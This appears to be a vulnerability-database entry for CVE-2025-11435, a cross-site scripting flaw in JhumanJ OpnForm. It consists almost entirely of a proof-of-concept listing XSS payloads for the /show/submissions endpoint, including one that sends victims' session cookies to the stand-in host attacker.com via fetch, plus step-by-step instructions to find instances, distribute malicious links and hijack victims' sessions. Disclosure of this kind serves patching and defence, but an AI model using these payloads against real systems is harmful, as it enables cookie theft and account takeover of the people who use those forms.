CVE-2025-11435：JhumanJ OpnForm跨站脚本漏洞

<!-- CVE-2025-11435 PoC: Reflected/Stored XSS in OpnForm /show/submissions --> <!-- Attackers can inject malicious scripts via form submissions parameters --> // Example 1: Reflected XSS via URL parameter // The following URL demonstrates a reflected XSS attack vector: // https://target.com/show/submissions?search=<script>alert(document.cookie)</script> // Example 2: Payload that steals session cookies and exfiltrates them var payload = '<img src=x onerror="' + 'fetch(\'https://attacker.com/steal?cookie=\'+encodeURIComponent(document.cookie))' + '">'; // Example 3: Crafted malicious URL to trigger XSS // https://target.com/show/submissions?form_id=<svg/onload=alert(\'XSS\')> // Example 4: Using event handlers in form data // <input type="text" name="submission_data" value=""><img src=x onerror=alert(1)> // Exploitation steps: // 1. Identify an OpnForm instance with /show/submissions endpoint // 2. Craft a malicious URL or form submission containing XSS payload // 3. Distribute the malicious link to potential victims // 4. When victim clicks the link, the injected script executes in their browser context // 5. Attacker can steal cookies, redirect users, or perform actions on behalf of the victim